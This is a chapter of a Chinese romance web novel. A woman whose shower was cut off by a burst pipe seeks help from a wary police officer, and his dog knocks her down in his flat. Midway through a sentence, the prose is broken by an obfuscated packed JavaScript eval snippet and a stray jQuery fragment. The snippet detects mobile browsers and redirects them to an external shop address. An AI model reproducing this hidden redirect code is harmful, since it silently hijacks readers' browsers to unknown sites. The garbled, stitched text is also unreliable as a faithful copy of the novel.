16.第16条大鱼
作品:《捕鱼日志》 第16条大鱼
【女人三分真,七分假,演到你流泪。】
——取自舒意禾的《捕鱼日志》
-
姜叙这辈子没这么无语过。
如果他有罪,请求上天惩罚他,而不是派个女人大晚上来敲他家门。
而且还穿着一身浴袍,包着头发,跟个女鬼一样。
此情此景,姜叙感受不到任何旖旎,只有诡异。
这位大小姐为了接近他还真是煞费苦心,大晚上整这出。
男人两眼微眯,眸色深沉晦暗,看舒意禾的眼神和神经病差不多。
一开口,语气更是犀利凉薄,“舒意禾,你知道自己在做什么吗?”
终于不是冷冰冰,公事公办的“舒小姐”了。
舒意禾举起右手,“我发誓这绝对是突发状况,我也不想这么丢脸的。我们7幢水管爆了,工人们正在紧急抢修,我洗澡洗一半,水突然停了,一身的泡沫都来不及冲,我也很绝望的。”
她脚上踩一双凉拖,缩了缩白嫩的脚丫子,瓮声瓮气道:“我本想去附近酒店开个房洗澡的,结果着急出门手机和钥匙都锁在了家里,我现在两手空空,连电话都打不了。实在没办法了,我才来求助你的。”
姜叙:“……”
就这么凑巧?
姜叙心里存疑,探究的目光始终笼罩在女人身上,像是铺了一张巨网将她整个围缠,无处遁逃。
说实话,这种审视犯人的眼神让人很不舒服。可舒意禾却不敢回避,不能让姜叙看出端倪。
她现在必须极力营造柔弱小白花的形象,越可怜越好,从而激起姜叙那少得可怜,约等于没有的同情心。
“你要是觉得我到你家洗澡不方便,你可不可以帮我开间房,让我把满身的泡沫洗掉,我实在太难受了。”
这姑娘说着都快哭出来了,柳叶眉皱成一条线,一张小脸垮着,狼狈的同时,又显得楚楚可怜。
干发帽囫囵包裹住长发,有几缕不安分的发丝钻出来,披散在肩头,发梢处确实还保留着一点来不及冲洗干净的泡沫。
她身上沐浴露的味道很重,是浓郁的马鞭草香气,随着沁凉的空气一阵一阵袭来,纠缠人的呼吸。
姜叙明显感觉自己鼻子有些发痒,很想打喷嚏。
沉默了近一分钟,男人方不紧不慢开口:“舒小姐家里没安装智能门锁?”
舒意禾:“……”
玛德,她都演得这么凄惨了,这家伙还是不相信她。
面对姜叙的质疑,舒意禾还能应付。
“房东阿姨舍不得花钱换门,还是那种老旧的插.钥匙的防盗门,我刚搬过来没几天,还没顾上换新的。”
这个理由听上去天衣无缝,让人挑不出任何毛病。
可这世上最忌讳的就是天衣无缝,太过完美总是惹人猜疑的。
警察的职业素养让姜叙对一切保持怀疑态度,他从不轻易相信什么人。
尤其舒意禾还是个谎话连篇的女人。
他当场掏出手机,“我给初羡打电话。”
舒意禾:“……”
他不打算收留舒意禾这个麻烦,让初羡接手最好。
眼瞅着姜叙把电话给拨了出去,他开了免提,熟悉的铃声自耳畔响起,一声一声碾压头皮。
舒意禾在心里暗自祈祷,“羡羡啊羡羡,为了你闺蜜的幸福,你可千万别接这个电话。”
“你所拨打的用户暂时无法接通,请稍后再拨,Sorry!The subscriber you dialed cannot be connected for the moment, please redial later……”
这绝对是这个世界上最动听的提示音。
初羡的手机打不通,姜叙转而打给傅枳实。
结果还是一样,无法接通。
这两人像是提前约定好了,专门不接姜叙的电话。
舒意禾开心坏了,初羡和傅枳实实在太给力了,关键时刻从不掉链子。她的幸福全靠闺蜜守护呐!
姜叙摁灭手机屏幕,浓眉拧成一团,抬眸望向舒意禾,“你还有其他朋友吗?”
傅枳实说这位大小姐可是一个电话就能摇来一票前男友的。现在总不至于找不到一个能帮忙的吧!
舒意禾茫然无措地摇摇头,“手机没在,记不住号码。”
姜叙:“……”
“不用麻烦别人了,你帮我去附近的酒店开个房间,我把澡洗了就行。”
她说完没忍住哆嗦了一下,打了个寒颤。
楼道里冷嗖嗖的,风吹得格外顺溜。这数九寒天的,舒意禾只穿了一件单薄的浴袍,不冷才怪。
万一没抗住,冻感冒了,这次牺牲可就大了。
大冬天把一姑娘扔楼道里瑟瑟发抖,姜叙也做不出这么没品的事情。哪怕是陌生人他也不可能置之不理。何况舒意禾还是初羡的闺蜜。有着傅枳实这层关系在,怎么说也算半个朋友。
他只能先侧开身子,招呼一声:“先进屋。”
至于怎么安置大小姐,待会儿再商量。
——
舒意禾心里一喜,嘴上道了句谢谢,迫不及待跨进屋。
隔着一扇门,室内室外完全是冰火两重天。
外面冻成冰棍,室内如坠阳春。暖气一烘,她觉得自己五脏六腑都回温了。
姜叙家是个小三居,开放式厨房,客厅不太大,摆了张棕色单人沙发,沙发底下铺着一张同色地毯,一直延伸至落地窗前。
大面积的灰色窗帘,严严实实遮盖住了外头璀璨绚烂的灯火。
入眼皆是黑白灰,空荡,冷清,毫无烟火气,符合单身男士的居所。
姜叙指了指沙发,“你先坐会儿。”
舒意禾站着没动,小声说:“我就不坐了,我身上全是泡沫,别把你沙发坐脏了。”
男人拿眼睨她,明显不认为她是这种小心翼翼的人。
“随你。”姜叙把她扔客厅,回屋拿身份证。
孤男寡女的,这大晚上舒意禾在他家洗澡明显不合适,他比较担心自己的安危。
最好还是替她去酒店开一间房。
门一开,一只狗头率先从里头窜了出来。
姜叙这才发现自己不小心把四不像锁卧室了。他刚还奇怪来着,自己和舒意禾站在门口说了半天话,这家伙怎么不出现。
四不像拿爪子拍了拍他裤腿,朝他汪汪汪叫了几声,然后以迅雷不及掩耳之势冲向了客厅那道白色人影。
四驱系统,快得好似一道闪电,瞬息之间就跑没影了。
姜叙眼皮狠狠一跳,厉声制止:“四不像,给老子站住!”
男人的嗓音震天动地,吓得舒意禾虎躯一震,差点没原地去世。
她绷直脊背,后知后觉感受到身后有什么东西朝自己扑来。
下一秒,一记大力排山倒海而来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929121|191982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她重心不稳,整个人直接趴地板上了。
始作俑者一脸兴奋,吐着长舌,往她身上嗅来嗅去,不知道多激动。
一边嗅,一边拿爪子扒拉她,在她脸上乱踩。
小家伙没向第一次那样对她狂吠,只是一个劲儿的往她身上扒拉,跟挖掘宝藏似的。
狗爪子几下一扒拉,浴袍的带子就散开了,胸前一片雪肤暴露在空气中,一阵凉意侵袭而来,让她大脑有一瞬间的空白。
思绪断层,无从应对。
姜叙只感觉眼前闪过一道白,白得晃眼。意识到那是什么,他慌忙移开视线,大步走上前一把拎起四不像,一顿胖揍。
“找死是不是?”他的火气嗖一下就上来了,咬牙切齿道:“什么人都扑,长没长眼睛?”
四不像嗷呜嗷呜惨叫,耷拉着狗脑袋,不知道多委屈。
舒意禾着急忙慌系好浴袍带子,整了整衣领,从地上爬起来,“你别打它,它没把我怎么样,它应该就是想跟我玩。”
四不像对她完全没有敌意,只有热情。
姜叙可不听她的,抬手指着墙角,“自己罚站去。”
舒意禾:“……”
罚站?
舒意禾差点以为自己听错了,一只狗还要罚站?
不愧是警察叔叔的狗,训练有素。
四不像得了主人指令,回头恋恋不舍看了舒意禾一眼,委屈地嚎叫一声,乖乖跑墙角罚站去了。
就这一眼,可把舒意禾心疼坏了,毛孩子在姜叙手里过得也忒可怜了。
这年头连狗讨生活都这么不容易,遑论是人了。
姜叙取来自己的身份证,丢给舒意禾一件羽绒服和一双棉拖,送给她两字,“换上。”
别看警察叔叔天天冷着一张脸,一副生人勿近的样子,其实骨子里还是暖的。
舒意禾先把棉拖换上,再穿羽绒服。
羽绒服是某个大牌的常规款,暗淡无光的灰蓝色,没什么生气。
她刚打量了一圈,发现这件屋子里的一切都死气沉沉的,毫无生机。就连茶几上的那株雪柳都被主人养得半死不活的,叶子都掉得差不多了,光秃秃一片。
姜叙常年生活在这种环境下不会觉得压抑吗?
舒意禾不行,她需要阳光,需要绿色,需要一切鲜活,富有生命力的东西。她的房子必须朝阳,装修是温暖的暖色调,床单被罩永远粉粉嫩嫩,花瓶里的花一枯萎就换新,所有半死不活的东西都不能出现在她视线范围之内。
羽绒服罩身上,衣摆很长,都到她小腿肚了。衣料间充盈一丝清淡的皂荚香,和姜叙身上的味道一致。
她贪婪地吸了一口,试图侵占这个味道。
“我带你去开房。”姜叙的声音永远这么冷静,理智。
哪怕是这么一句充满歧义的话,从他嘴里说出来都是这般严肃正经,不会让人产生任何误会。
大门一开,一阵冷风兜头直吹,把舒意禾冻了个激灵,她忍不住缩了缩脖子。
鼻子发痒,“啊啊啊~阿嚏……”
“阿嚏~”
“阿嚏~”
她一连打了好几个喷嚏。
看这样子八成是感冒了,这把牺牲可大太了。
舒意禾吸了吸鼻子,正打算找姜叙要张纸擦擦,她就听见身后男人很轻地说了一声“算了”。
她还没反应过来什么意思,对方越过她直接关了门。
“你还是在我家洗吧。”

